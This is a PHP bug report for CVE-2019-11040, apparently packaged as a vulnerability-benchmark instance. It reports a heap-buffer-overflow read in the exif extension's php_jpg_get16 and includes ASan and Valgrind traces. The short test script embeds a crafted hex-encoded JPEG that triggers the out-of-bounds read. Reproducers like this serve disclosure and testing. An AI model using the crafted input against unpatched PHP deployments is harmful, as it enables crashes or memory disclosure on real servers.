Project: php-src (php/php-src), language: c++
Vulnerability instance: php.cve-2019-11040
Sanitizer: address

================= Bug Report (1/1) ==================
## Source: PHP Bugs
## URL: https://bugs.php.net/bug.php?id=77988
## Description:
PHP Bug ID: 77988
Summary: heap-buffer-overflow on php_jpg_get16
Status: Closed
PHP Version: 7.1.29
Assigned: stas (profile)
CVE-ID: 2019-11040

Description:
Description:
------------
==29489==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000001715 at pc 0x00000080609e bp 0x7fff9a5e15d0 sp 0x7fff9a5e15c8
READ of size 1 at 0x602000001715 thread T0
    #0 0x80609d in php_jpg_get16 /home/ninja/php/php-7.3.5/ext/exif/exif.c:1437:38
    #1 0x7f3d12 in exif_scan_thumbnail /home/ninja/php/php-7.3.5/ext/exif/exif.c:3923:12
    #2 0x7effa6 in zif_exif_read_data /home/ninja/php/php-7.3.5/ext/exif/exif.c:4581:4
    #3 0x104aa9f in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER /home/ninja/php/php-7.3.5/Zend/zend_vm_execute.h:690:2
    #4 0xf2b1d3 in execute_ex /home/ninja/php/php-7.3.5/Zend/zend_vm_execute.h:55334:7
    #5 0xf2b71d in zend_execute /home/ninja/php/php-7.3.5/Zend/zend_vm_execute.h:60881:2
    #6 0xdeb7be in zend_execute_scripts /home/ninja/php/php-7.3.5/Zend/zend.c:1568:4
    #7 0xbe2d4c in php_execute_script /home/ninja/php/php-7.3.5/main/main.c:2630:14
    #8 0x1167fe9 in do_cli /home/ninja/php/php-7.3.5/sapi/cli/php_cli.c:997:5
    #9 0x1165929 in main /home/ninja/php/php-7.3.5/sapi/cli/php_cli.c:1389:18
    #10 0x7fec9e4e0b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #11 0x4388e9 in _start (/home/ninja/php/php-7.3.5/sapi/cli/php+0x4388e9)


Test script:
---------------
<?
$img = fopen("php://memory","r+");
fwrite($img,hex2bin("ffd83000103030303030303030303030303030fffe000e303030303030303030303000fffe000e303030303030303030303000fffe00103030303030303030303030303000ffe102994578696600004d4d002a00000008000282980002000000300000002692860002000000300000004f000000683030303030303030303030300400303030303000303030303030303030303030303030303030303030554e49434f4445003030303030303030303030303030303030000202010004000000010000008602020004000000010000000430303030ffd8ff00027fff30303030303030303030303030ff30008430303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030ffc000303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030305230303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030ff300084303030303000043030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030393030303030303030303030303030303030303030303030303030303030303030303030303030303030ffc00011303030303003303030303030303030ff3000043030ff30013f3030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303029303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030304830303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030ffda000330"));
$test=exif_read_data($img, 'COMMENT', FALSE, TRUE);
?>


Expected result:
----------------
No crash

Actual result:
--------------
==29770== Memcheck, a memory error detector
==29770== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==29770== Using Valgrind-3.13.0 and LibVEX; rerun with -h for copyright info
==29770== Command: sapi/cli/php test.php
==29770== 
==29770== Conditional jump or move depends on uninitialised value(s)
==29770==    at 0x5F05AA: zend_string_equal_val (zend_string.c:403)
==29770==    by 0x5F05AA: zend_string_equal_content (zend_string.h:310)
==29770==    by 0x5F05AA: zend_interned_string_ht_lookup (zend_string.c:156)
==29770==    by 0x5F05AA: zend_new_interned_string_permanent (zend_string.c:196)
==29770==    by 0x5E01E8: zend_register_ini_entries (zend_ini.c:261)
==29770==    by 0x566180: php_module_startup (main.c:2275)
==29770==    by 0x67C09B: php_cli_startup (php_cli.c:420)
==29770==    by 0x67AFF2: main (php_cli.c:1356)
==29770== 
==29770== Conditional jump or move depends on uninitialised value(s)
==29770==    at 0x5F05AA: zend_string_equal_val (zend_string.c:403)
==29770==    by 0x5F05AA: zend_string_equal_content (zend_string.h:310)
==29770==    by 0x5F05AA: zend_interned_string_ht_lookup (zend_string.c:156)
==29770==    by 0x5F05AA: zend_new_interned_string_permanent (zend_string.c:196)
==29770==    by 0x5CCA5F: zend_register_functions (zend_API.c:2283)
==29770==    by 0x5CDA5D: do_register_internal_class (zend_API.c:2727)
==29770==    by 0x5CD8DD: zend_register_internal_class (zend_API.c:2775)
==29770==    by 0x5CD8DD: zend_register_internal_class_ex (zend_API.c:2747)
==29770==    by 0x5E696A: zend_register_default_exception (zend_exceptions.c:827)
==29770==    by 0x602B3A: zend_register_default_classes (zend_default_classes.c:32)
==29770==    by 0x5DB403: zm_startup_core (zend_builtin_functions.c:307)
==29770==    by 0x5CBB8B: zend_startup_module_ex (zend_API.c:1878)
==29770==    by 0x5CBF88: zend_startup_module_zval (zend_API.c:1893)
==29770==    by 0x5D8201: zend_hash_apply (zend_hash.c:1688)
==29770==    by 0x5CBE62: zend_startup_modules (zend_API.c:2004)
==29770==    by 0x566222: php_module_startup (main.c:2333)
==29770==    by 0x67C09B: php_cli_startup (php_cli.c:420)
==29770==    by 0x67AFF2: main (php_cli.c:1356)
==29770== 
==29770== Conditional jump or move depends on uninitialised value(s)
==29770==    at 0x5F05AA: zend_string_equal_val (zend_string.c:403)
==29770==    by 0x5F05AA: zend_string_equal_content (zend_string.h:310)
==29770==    by 0x5F05AA: zend_interned_string_ht_lookup (zend_string.c:156)
==29770==    by 0x5F05AA: zend_new_interned_string_permanent (zend_string.c:196)
==29770==    by 0x5CFB26: zval_make_interned_string (zend_API.c:3692)
==29770==    by 0x5CFB26: zend_declare_property_ex (zend_API.c:3713)
==29770==    by 0x5CFE56: zend_declare_property (zend_API.c:3783)
==29770==    by 0x5CFFFE: zend_declare_property_string (zend_API.c:3830)
==29770==    by 0x5E69B6: zend_register_default_exception (zend_exceptions.c:831)
==29770==    by 0x602B3A: zend_register_default_classes (zend_default_classes.c:32)
==29770==    by 0x5DB403: zm_startup_core (zend_builtin_functions.c:307)
==29770==    by 0x5CBB8B: zend_startup_module_ex (zend_API.c:1878)
==29770==    by 0x5CBF88: zend_startup_module_zval (zend_API.c:1893)
==29770==    by 0x5D8201: zend_hash_apply (zend_hash.c:1688)
==29770==    by 0x5CBE62: zend_startup_modules (zend_API.c:2004)
==29770==    by 0x566222: php_module_startup (main.c:2333)
==29770==    by 0x67C09B: php_cli_startup (php_cli.c:420)
==29770==    by 0x67AFF2: main (php_cli.c:1356)
==29770== 
==29770== Conditional jump or move depends on uninitialised value(s)
==29770==    at 0x5F05AA: zend_string_equal_val (zend_string.c:403)
==29770==    by 0x5F05AA: zend_string_equal_content (zend_string.h:310)
==29770==    by 0x5F05AA: zend_interned_string_ht_lookup (zend_string.c:156)
==29770==    by 0x5F05AA: zend_new_interned_string_permanent (zend_string.c:196)
==29770==    by 0x5CFCC3: zend_declare_property_ex (zend_API.c:3758)
==29770==    by 0x5CFE56: zend_declare_property (zend_API.c:3783)
==29770==    by 0x5CFFFE: zend_declare_property_string (zend_API.c:3830)
==29770==    by 0x5E69D7: zend_register_default_exception (zend_exceptions.c:832)
==29770==    by 0x602B3A: zend_register_default_classes (zend_default_classes.c:32)
==29770==    by 0x5DB403: zm_startup_core (zend_builtin_functions.c:307)
==29770==    by 0x5CBB8B: zend_startup_module_ex (zend_API.c:1878)
==29770==    by 0x5CBF88: zend_startup_module_zval (zend_API.c:1893)
==29770==    by 0x5D8201: zend_hash_apply (zend_hash.c:1688)
==29770==    by 0x5CBE62: zend_startup_modules (zend_API.c:2004)
==29770==    by 0x566222: php_module_startup (main.c:2333)
==29770==    by 0x67C09B: php_cli_startup (php_cli.c:420)
==29770==    by 0x67AFF2: main (php_cli.c:1356)
==29770== 
==29770== Conditional jump or move depends on uninitialised value(s)
==29770==    at 0x5F05AA: zend_string_equal_val (zend_string.c:403)
==29770==    by 0x5F05AA: zend_string_equal_content (zend_string.h:310)
==29770==    by 0x5F05AA: zend_interned_string_ht_lookup (zend_string.c:156)
==29770==    by 0x5F05AA: zend_new_interned_string_permanent (zend_string.c:196)
==29770==    by 0x5CFCC3: zend_declare_property_ex (zend_API.c:3758)
==29770==    by 0x5CFE56: zend_declare_property (zend_API.c:3783)
==29770==    by 0x5CFF0A: zend_declare_property_long (zend_API.c:3812)
==29770==    by 0x5E69F5: zend_register_default_exception (zend_exceptions.c:833)
==29770==    by 0x602B3A: zend_register_default_classes (zend_default_classes.c:32)
==29770==    by 0x5DB403: zm_startup_core (zend_builtin_functions.c:307)
==29770==    by 0x5CBB8B: zend_startup_module_ex (zend_API.c:1878)
==29770==    by 0x5CBF88: zend_startup_module_zval (zend_API.c:1893)
==29770==    by 0x5D8201: zend_hash_apply (zend_hash.c:1688)
==29770==    by 0x5CBE62: zend_startup_modules (zend_API.c:2004)
==29770==    by 0x566222: php_module_startup (main.c:2333)
==29770==    by 0x67C09B: php_cli_startup (php_cli.c:420)
==29770==    by 0x67AFF2: main (php_cli.c:1356)
==29770== 
==29770== Conditional jump or move depends on uninitialised value(s)
==29770==    at 0x5F05AA: zend_string_equal_val (zend_string.c:403)
==29770==    by 0x5F05AA: zend_string_equal_content (zend_string.h:310)
==29770==    by 0x5F05AA: zend_interned_string_ht_lookup (zend_string.c:156)
==29770==    by 0x5F05AA: zend_new_interned_string_permanent (zend_string.c:196)
==29770==    by 0x5CFCC3: zend_declare_property_ex (zend_API.c:3758)
==29770==    by 0x5CFE56: zend_declare_property (zend_API.c:3783)
==29770==    by 0x5CFEAA: zend_declare_property_null (zend_API.c:3794)
==29770==    by 0x5E6A10: zend_register_default_exception (zend_exceptions.c:834)
==29770==    by 0x602B3A: zend_register_default_classes (zend_default_classes.c:32)
==29770==    by 0x5DB403: zm_startup_core (zend_builtin_functions.c:307)
==29770==    by 0x5CBB8B: zend_startup_module_ex (zend_API.c:1878)
==29770==    by 0x5CBF88: zend_startup_module_zval (zend_API.c:1893)
==29770==    by 0x5D8201: zend_hash_apply (zend_hash.c:1688)
==29770==    by 0x5CBE62: zend_startup_modules (zend_API.c:2004)
==29770==    by 0x566222: php_module_startup (main.c:2333)
==29770==    by 0x67C09B: php_cli_startup (php_cli.c:420)
==29770==    by 0x67AFF2: main (php_cli.c:1356)
==29770== 
==29770== Conditional jump or move depends on uninitialised value(s)
==29770==    at 0x5F05AA: zend_string_equal_val (zend_string.c:403)
==29770==    by 0x5F05AA: zend_string_equal_content (zend_string.h:310)
==29770==    by 0x5F05AA: zend_interned_string_ht_lookup (zend_string.c:156)
==29770==    by 0x5F05AA: zend_new_interned_string_permanent (zend_string.c:196)
==29770==    by 0x5CFD2F: zend_declare_property_ex (zend_API.c:3770)
==29770==    by 0x5CFE56: zend_declare_property (zend_API.c:3783)
==29770==    by 0x5CFFFE: zend_declare_property_string (zend_API.c:3830)
==29770==    by 0x5E6B5F: zend_register_default_exception (zend_exceptions.c:849)
==29770==    by 0x602B3A: zend_register_default_classes (zend_default_classes.c:32)
==29770==    by 0x5DB403: zm_startup_core (zend_builtin_functions.c:307)
==29770==    by 0x5CBB8B: zend_startup_module_ex (zend_API.c:1878)
==29770==    by 0x5CBF88: zend_startup_module_zval (zend_API.c:1893)
==29770==    by 0x5D8201: zend_hash_apply (zend_hash.c:1688)
==29770==    by 0x5CBE62: zend_startup_modules (zend_API.c:2004)
==29770==    by 0x566222: php_module_startup (main.c:2333)
==29770==    by 0x67C09B: php_cli_startup (php_cli.c:420)
==29770==    by 0x67AFF2: main (php_cli.c:1356)
==29770== 
==29770== Conditional jump or move depends on uninitialised value(s)
==29770==    at 0x5F05AA: zend_string_equal_val (zend_string.c:403)
==29770==    by 0x5F05AA: zend_string_equal_content (zend_string.h:310)
==29770==    by 0x5F05AA: zend_interned_string_ht_lookup (zend_string.c:156)
==29770==    by 0x5F05AA: zend_new_interned_string_permanent (zend_string.c:196)
==29770==    by 0x5D013F: zval_make_interned_string (zend_API.c:3692)
==29770==    by 0x5D013F: zend_declare_class_constant_ex (zend_API.c:3859)
==29770==    by 0x5D0315: zend_declare_class_constant (zend_API.c:3895)
==29770==    by 0x5D0485: zend_declare_class_constant_stringl (zend_API.c:3942)
==29770==    by 0x41F9B4: date_register_classes (php_date.c:2114)
==29770==    by 0x41F9B4: zm_startup_date (php_date.c:877)
==29770==    by 0x5CBB8B: zend_startup_module_ex (zend_API.c:1878)
==29770==    by 0x5CBF88: zend_startup_module_zval (zend_API.c:1893)
==29770==    by 0x5D8201: zend_hash_apply (zend_hash.c:1688)
==29770==    by 0x5CBE62: zend_startup_modules (zend_API.c:2004)
==29770==    by 0x566222: php_module_startup (main.c:2333)
==29770==    by 0x67C09B: php_cli_startup (php_cli.c:420)
==29770==    by 0x67AFF2: main (php_cli.c:1356)
==29770== 
==29770== Conditional jump or move depends on uninitialised value(s)
==29770==    at 0x5F05AA: zend_string_equal_val (zend_string.c:403)
==29770==    by 0x5F05AA: zend_string_equal_content (zend_string.h:310)
==29770==    by 0x5F05AA: zend_interned_string_ht_lookup (zend_string.c:156)
==29770==    by 0x5F05AA: zend_new_interned_string_permanent (zend_string.c:196)
==29770==    by 0x5CDA74: do_register_internal_class (zend_API.c:2731)
==29770==    by 0x4CDE4C: zm_startup_reflection (php_reflection.c:6636)
==29770==    by 0x5CBB8B: zend_startup_module_ex (zend_API.c:1878)
==29770==    by 0x5CBF88: zend_startup_module_zval (zend_API.c:1893)
==29770==    by 0x5D8201: zend_hash_apply (zend_hash.c:1688)
==29770==    by 0x5CBE62: zend_startup_modules (zend_API.c:2004)
==29770==    by 0x566222: php_module_startup (main.c:2333)
==29770==    by 0x67C09B: php_cli_startup (php_cli.c:420)
==29770==    by 0x67AFF2: main (php_cli.c:1356)
==29770== 
==29770== Conditional jump or move depends on uninitialised value(s)
==29770==    at 0x5F05AA: zend_string_equal_val (zend_string.c:403)
==29770==    by 0x5F05AA: zend_string_equal_content (zend_string.h:310)
==29770==    by 0x5F05AA: zend_interned_string_ht_lookup (zend_string.c:156)
==29770==    by 0x5F05AA: zend_new_interned_string_permanent (zend_string.c:196)
==29770==    by 0x5CCA5F: zend_register_functions (zend_API.c:2283)
==29770==    by 0x5CDA5D: do_register_internal_class (zend_API.c:2727)
==29770==    by 0x4CDE90: zm_startup_reflection (php_reflection.c:6639)
==29770==    by 0x5CBB8B: zend_startup_module_ex (zend_API.c:1878)
==29770==    by 0x5CBF88: zend_startup_module_zval (zend_API.c:1893)
==29770==    by 0x5D8201: zend_hash_apply (zend_hash.c:1688)
==29770==    by 0x5CBE62: zend_startup_modules (zend_API.c:2004)
==29770==    by 0x566222: php_module_startup (main.c:2333)
==29770==    by 0x67C09B: php_cli_startup (php_cli.c:420)
==29770==    by 0x67AFF2: main (php_cli.c:1356)
==29770== 
==29770== Conditional jump or move depends on uninitialised value(s)
==29770==    at 0x5F05AA: zend_string_equal_val (zend_string.c:403)
==29770==    by 0x5F05AA: zend_string_equal_content (zend_string.h:310)
==29770==    by 0x5F05AA: zend_interned_string_ht_lookup (zend_string.c:156)
==29770==    by 0x5F05AA: zend_new_interned_string_permanent (zend_string.c:196)
==29770==    by 0x5CCA5F: zend_register_functions (zend_API.c:2283)
==29770==    by 0x5CDA5D: do_register_internal_class (zend_API.c:2727)
==29770==    by 0x4CE049: zm_startup_reflection (php_reflection.c:6660)
==29770==    by 0x5CBB8B: zend_startup_module_ex (zend_API.c:1878)
==29770==    by 0x5CBF88: zend_startup_module_zval (zend_API.c:1893)
==29770==    by 0x5D8201: zend_hash_apply (zend_hash.c:1688)
==29770==    by 0x5CBE62: zend_startup_modules (zend_API.c:2004)
==29770==    by 0x566222: php_module_startup (main.c:2333)
==29770==    by 0x67C09B: php_cli_startup (php_cli.c:420)
==29770==    by 0x67AFF2: main (php_cli.c:1356)
==29770== 
==29770== Conditional jump or move depends on uninitialised value(s)
==29770==    at 0x5F05AA: zend_string_equal_val (zend_string.c:403)
==29770==    by 0x5F05AA: zend_string_equal_content (zend_string.h:310)
==29770==    by 0x5F05AA: zend_interned_string_ht_lookup (zend_string.c:156)
==29770==    by 0x5F05AA: zend_new_interned_string_permanent (zend_string.c:196)
==29770==    by 0x5CCA5F: zend_register_functions (zend_API.c:2283)
==29770==    by 0x5CDA5D: do_register_internal_class (zend_API.c:2727)
==29770==    by 0x4CE0D3: zm_startup_reflection (php_reflection.c:6666)
==29770==    by 0x5CBB8B: zend_startup_module_ex (zend_API.c:1878)
==29770==    by 0x5CBF88: zend_startup_module_zval (zend_API.c:1893)
==29770==    by 0x5D8201: zend_hash_apply (zend_hash.c:1688)
==29770==    by 0x5CBE62: zend_startup_modules (zend_API.c:2004)
==29770==    by 0x566222: php_module_startup (main.c:2333)
==29770==    by 0x67C09B: php_cli_startup (php_cli.c:420)
==29770==    by 0x67AFF2: main (php_cli.c:1356)
==29770== 
==29770== Conditional jump or move depends on uninitialised value(s)
==29770==    at 0x5F05AA: zend_string_equal_val (zend_string.c:403)
==29770==    by 0x5F05AA: zend_string_equal_content (zend_string.h:310)
==29770==    by 0x5F05AA: zend_interned_string_ht_lookup (zend_string.c:156)
==29770==    by 0x5F05AA: zend_new_interned_string_permanent (zend_string.c:196)
==29770==    by 0x5CCA5F: zend_register_functions (zend_API.c:2283)
==29770==    by 0x5CDA5D: do_register_internal_class (zend_API.c:2727)
==29770==    by 0x4CE2B1: zm_startup_reflection (php_reflection.c:6687)
==29770==    by 0x5CBB8B: zend_startup_module_ex (zend_API.c:1878)
==29770==    by 0x5CBF88: zend_startup_module_zval (zend_API.c:1893)
==29770==    by 0x5D8201: zend_hash_apply (zend_hash.c:1688)
==29770==    by 0x5CBE62: zend_startup_modules (zend_API.c:2004)
==29770==    by 0x566222: php_module_startup (main.c:2333)
==29770==    by 0x67C09B: php_cli_startup (php_cli.c:420)
==29770==    by 0x67AFF2: main (php_cli.c:1356)
==29770== 
==29770== Conditional jump or move depends on uninitialised value(s)
==29770==    at 0x5F05AA: zend_string_equal_val (zend_string.c:403)
==29770==    by 0x5F05AA: zend_string_equal_content (zend_string.h:310)
==29770==    by 0x5F05AA: zend_interned_string_ht_lookup (zend_string.c:156)
==29770==    by 0x5F05AA: zend_new_interned_string_permanent (zend_string.c:196)
==29770==    by 0x5CCA5F: zend_register_functions (zend_API.c:2283)
==29770==    by 0x5CDA5D: do_register_internal_class (zend_API.c:2727)
==29770==    by 0x4CE3E3: zm_startup_reflection (php_reflection.c:6701)
==29770==    by 0x5CBB8B: zend_startup_module_ex (zend_API.c:1878)
==29770==    by 0x5CBF88: zend_startup_module_zval (zend_API.c:1893)
==29770==    by 0x5D8201: zend_hash_apply (zend_hash.c:1688)
==29770==    by 0x5CBE62: zend_startup_modules (zend_API.c:2004)
==29770==    by 0x566222: php_module_startup (main.c:2333)
==29770==    by 0x67C09B: php_cli_startup (php_cli.c:420)
==29770==    by 0x67AFF2: main (php_cli.c:1356)
==29770== 
==29770== Conditional jump or move depends on uninitialised value(s)
==29770==    at 0x5F05AA: zend_string_equal_val (zend_string.c:403)
==29770==    by 0x5F05AA: zend_string_equal_content (zend_string.h:310)
==29770==    by 0x5F05AA: zend_interned_string_ht_lookup (zend_string.c:156)
==29770==    by 0x5F05AA: zend_new_interned_string_permanent (zend_string.c:196)
==29770==    by 0x5CCA5F: zend_register_functions (zend_API.c:2283)
==29770==    by 0x5CDA5D: do_register_internal_class (zend_API.c:2727)
==29770==    by 0x4CE48E: zm_startup_reflection (php_reflection.c:6708)
==29770==    by 0x5CBB8B: zend_startup_module_ex (zend_API.c:1878)
==29770==    by 0x5CBF88: zend_startup_module_zval (zend_API.c:1893)
==29770==    by 0x5D8201: zend_hash_apply (zend_hash.c:1688)
==29770==    by 0x5CBE62: zend_startup_modules (zend_API.c:2004)
==29770==    by 0x566222: php_module_startup (main.c:2333)
==29770==    by 0x67C09B: php_cli_startup (php_cli.c:420)
==29770==    by 0x67AFF2: main (php_cli.c:1356)
==29770== 
==29770== Conditional jump or move depends on uninitialised value(s)
==29770==    at 0x5F05AA: zend_string_equal_val (zend_string.c:403)
==29770==    by 0x5F05AA: zend_string_equal_content (zend_string.h:310)
==29770==    by 0x5F05AA: zend_interned_string_ht_lookup (zend_string.c:156)
==29770==    by 0x5F05AA: zend_new_interned_string_permanent (zend_string.c:196)
==29770==    by 0x5CCA5F: zend_register_functions (zend_API.c:2283)
==29770==    by 0x5CDA5D: do_register_internal_class (zend_API.c:2727)
==29770==    by 0x4CE5A5: zm_startup_reflection (php_reflection.c:6720)
==29770==    by 0x5CBB8B: zend_startup_module_ex (zend_API.c:1878)
==29770==    by 0x5CBF88: zend_startup_module_zval (zend_API.c:1893)
==29770==    by 0x5D8201: zend_hash_apply (zend_hash.c:1688)
==29770==    by 0x5CBE62: zend_startup_modules (zend_API.c:2004)
==29770==    by 0x566222: php_module_startup (main.c:2333)
==29770==    by 0x67C09B: php_cli_startup (php_cli.c:420)
==29770==    by 0x67AFF2: main (php_cli.c:1356)
==29770== 
==29770== Conditional jump or move depends on uninitialised value(s)
==29770==    at 0x5F05AA: zend_string_equal_val (zend_string.c:403)
==29770==    by 0x5F05AA: zend_string_equal_content (zend_string.h:310)
==29770==    by 0x5F05AA: zend_interned_string_ht_lookup (zend_string.c:156)
==29770==    by 0x5F05AA: zend_new_interned_string_permanent (zend_string.c:196)
==29770==    by 0x5CCA5F: zend_register_functions (zend_API.c:2283)
==29770==    by 0x5CDA5D: do_register_internal_class (zend_API.c:2727)
==29770==    by 0x4CE62F: zm_startup_reflection (php_reflection.c:6726)
==29770==    by 0x5CBB8B: zend_startup_module_ex (zend_API.c:1878)
==29770==    by 0x5CBF88: zend_startup_module_zval (zend_API.c:1893)
==29770==    by 0x5D8201: zend_hash_apply (zend_hash.c:1688)
==29770==    by 0x5CBE62: zend_startup_modules (zend_API.c:2004)
==29770==    by 0x566222: php_module_startup (main.c:2333)
==29770==    by 0x67C09B: php_cli_startup (php_cli.c:420)
==29770==    by 0x67AFF2: main (php_cli.c:1356)
==29770== 
==29770== Conditional jump or move depends on uninitialised value(s)
==29770==    at 0x5F05AA: zend_string_equal_val (zend_string.c:403)
==29770==    by 0x5F05AA: zend_string_equal_content (zend_string.h:310)
==29770==    by 0x5F05AA: zend_interned_string_ht_lookup (zend_string.c:156)
==29770==    by 0x5F05AA: zend_new_interned_string_permanent (zend_string.c:196)
==29770==    by 0x5CCA5F: zend_register_functions (zend_API.c:2283)
==29770==    by 0x5CDA5D: do_register_internal_class (zend_API.c:2727)
==29770==    by 0x4D1BE1: spl_register_std_class (spl_functions.c:44)
==29770==    by 0x4DCD59: zm_startup_spl_array (spl_array.c:2002)
==29770==    by 0x4D19CD: zm_startup_spl (php_spl.c:998)
==29770==    by 0x5CBB8B: zend_startup_module_ex (zend_API.c:1878)
==29770==    by 0x5CBF88: zend_startup_module_zval (zend_API.c:1893)
==29770==    by 0x5D8201: zend_hash_apply (zend_hash.c:1688)
==29770==    by 0x5CBE62: zend_startup_modules (zend_API.c:2004)
==29770==    by 0x566222: php_module_startup (main.c:2333)
==29770==    by 0x67C09B: php_cli_startup (php_cli.c:420)
==29770==    by 0x67AFF2: main (php_cli.c:1356)
==29770== 
==29770== Conditional jump or move depends on uninitialised value(s)
==29770==    at 0x5F0056: zend_string_equal_val (zend_string.c:403)
==29770==    by 0x5F0056: zend_string_equal_content (zend_string.h:310)
==29770==    by 0x5F0056: zend_interned_string_ht_lookup (zend_string.c:156)
==29770==    by 0x5F0056: zend_new_interned_string_request (zend_string.c:224)
==29770==    by 0x59F920: zval_make_interned_string (zend_compile.c:473)
==29770==    by 0x59F920: zend_insert_literal (zend_compile.c:485)
==29770==    by 0x59F920: zend_add_literal (zend_compile.c:505)
==29770==    by 0x59F920: zend_emit_op (zend_compile.c:2121)
==29770==    by 0x5A8109: zend_compile_call (zend_compile.c:4042)
==29770==    by 0x5A2F4A: zend_compile_assign (zend_compile.c:2980)
==29770==    by 0x5AB1BE: zend_compile_stmt (zend_compile.c:8309)
==29770==    by 0x5B1A3C: zend_compile_top_stmt (zend_compile.c:8195)
==29770==    by 0x5B1A2B: zend_compile_top_stmt (zend_compile.c:8190)
==29770==    by 0x58A707: zend_compile (zend_language_scanner.l:602)
==29770==    by 0x58A5D5: compile_file (zend_language_scanner.l:636)
==29770==    by 0x5C6A35: zend_execute_scripts (zend.c:1562)
==29770==    by 0x5672D6: php_execute_script (main.c:2630)
==29770==    by 0x67BE92: do_cli (php_cli.c:997)
==29770==    by 0x67B049: main (php_cli.c:1389)
==29770== 
==29770== Conditional jump or move depends on uninitialised value(s)
==29770==    at 0x5F0056: zend_string_equal_val (zend_string.c:403)
==29770==    by 0x5F0056: zend_string_equal_content (zend_string.h:310)
==29770==    by 0x5F0056: zend_interned_string_ht_lookup (zend_string.c:156)
==29770==    by 0x5F0056: zend_new_interned_string_request (zend_string.c:224)
==29770==    by 0x59F920: zval_make_interned_string (zend_compile.c:473)
==29770==    by 0x59F920: zend_insert_literal (zend_compile.c:485)
==29770==    by 0x59F920: zend_add_literal (zend_compile.c:505)
==29770==    by 0x59F920: zend_emit_op (zend_compile.c:2121)
==29770==    by 0x5A8109: zend_compile_call (zend_compile.c:4042)
==29770==    by 0x5AB1BE: zend_compile_stmt (zend_compile.c:8309)
==29770==    by 0x5B1A3C: zend_compile_top_stmt (zend_compile.c:8195)
==29770==    by 0x5B1A2B: zend_compile_top_stmt (zend_compile.c:8190)
==29770==    by 0x58A707: zend_compile (zend_language_scanner.l:602)
==29770==    by 0x58A5D5: compile_file (zend_language_scanner.l:636)
==29770==    by 0x5C6A35: zend_execute_scripts (zend.c:1562)
==29770==    by 0x5672D6: php_execute_script (main.c:2630)
==29770==    by 0x67BE92: do_cli (php_cli.c:997)
==29770==    by 0x67B049: main (php_cli.c:1389)
==29770== 
==29770== Conditional jump or move depends on uninitialised value(s)
==29770==    at 0x5F00FA: zend_string_equal_val (zend_string.c:403)
==29770==    by 0x5F00FA: zend_string_equal_content (zend_string.h:310)
==29770==    by 0x5F00FA: zend_interned_string_ht_lookup (zend_string.c:156)
==29770==    by 0x5F00FA: zend_new_interned_string_request (zend_string.c:230)
==29770==    by 0x5A3793: zval_make_interned_string (zend_compile.c:473)
==29770==    by 0x5A3793: zend_try_compile_cv (zend_compile.c:2534)
==29770==    by 0x5A408B: zend_compile_simple_var (zend_compile.c:2606)
==29770==    by 0x5A408B: zend_compile_var (zend_compile.c:8450)
==29770==    by 0x5A5056: zend_compile_args (zend_compile.c:3211)
==29770==    by 0x5A51D0: zend_compile_call_common (zend_compile.c:3314)
==29770==    by 0x5A812A: zend_compile_call (zend_compile.c:4045)
==29770==    by 0x5AB1BE: zend_compile_stmt (zend_compile.c:8309)
==29770==    by 0x5B1A3C: zend_compile_top_stmt (zend_compile.c:8195)
==29770==    by 0x5B1A2B: zend_compile_top_stmt (zend_compile.c:8190)
==29770==    by 0x58A707: zend_compile (zend_language_scanner.l:602)
==29770==    by 0x58A5D5: compile_file (zend_language_scanner.l:636)
==29770==    by 0x5C6A35: zend_execute_scripts (zend.c:1562)
==29770==    by 0x5672D6: php_execute_script (main.c:2630)
==29770==    by 0x67BE92: do_cli (php_cli.c:997)
==29770==    by 0x67B049: main (php_cli.c:1389)
==29770== 
==29770== Invalid read of size 1
==29770==    at 0x4BCDAB: php_jpg_get16 (exif.c:1437)
==29770==    by 0x4BCDAB: exif_scan_thumbnail (exif.c:3923)
==29770==    by 0x4BB57D: zif_exif_read_data (exif.c:4581)
==29770==    by 0x652772: ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER (zend_vm_execute.h:690)
==29770==    by 0x608DB7: execute_ex (zend_vm_execute.h:55334)
==29770==    by 0x608F0F: zend_execute (zend_vm_execute.h:60881)
==29770==    by 0x5C6A63: zend_execute_scripts (zend.c:1568)
==29770==    by 0x5672D6: php_execute_script (main.c:2630)
==29770==    by 0x67BE92: do_cli (php_cli.c:997)
==29770==    by 0x67B049: main (php_cli.c:1389)
==29770==  Address 0x645c385 is 0 bytes after a block of size 5 alloc'd
==29770==    at 0x4C2FB0F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==29770==    by 0x59D4B8: __zend_malloc (zend_alloc.c:2903)
==29770==    by 0x59D687: _estrndup (zend_alloc.c:2607)
==29770==    by 0x4BE526: exif_thumbnail_extract (exif.c:2942)
==29770==    by 0x4BE526: exif_process_IFD_in_JPEG (exif.c:3620)
==29770==    by 0x4BBEE7: exif_process_TIFF_in_JPEG (exif.c:3666)
==29770==    by 0x4BBEE7: exif_process_APP1 (exif.c:3691)
==29770==    by 0x4BBEE7: exif_scan_JPEG_header (exif.c:3836)
==29770==    by 0x4BBEE7: exif_scan_FILE_header (exif.c:4229)
==29770==    by 0x4BBEE7: exif_read_from_impl (exif.c:4370)
==29770==    by 0x4BBEE7: exif_read_from_stream (exif.c:4387)
==29770==    by 0x4BA86C: zif_exif_read_data (exif.c:4477)
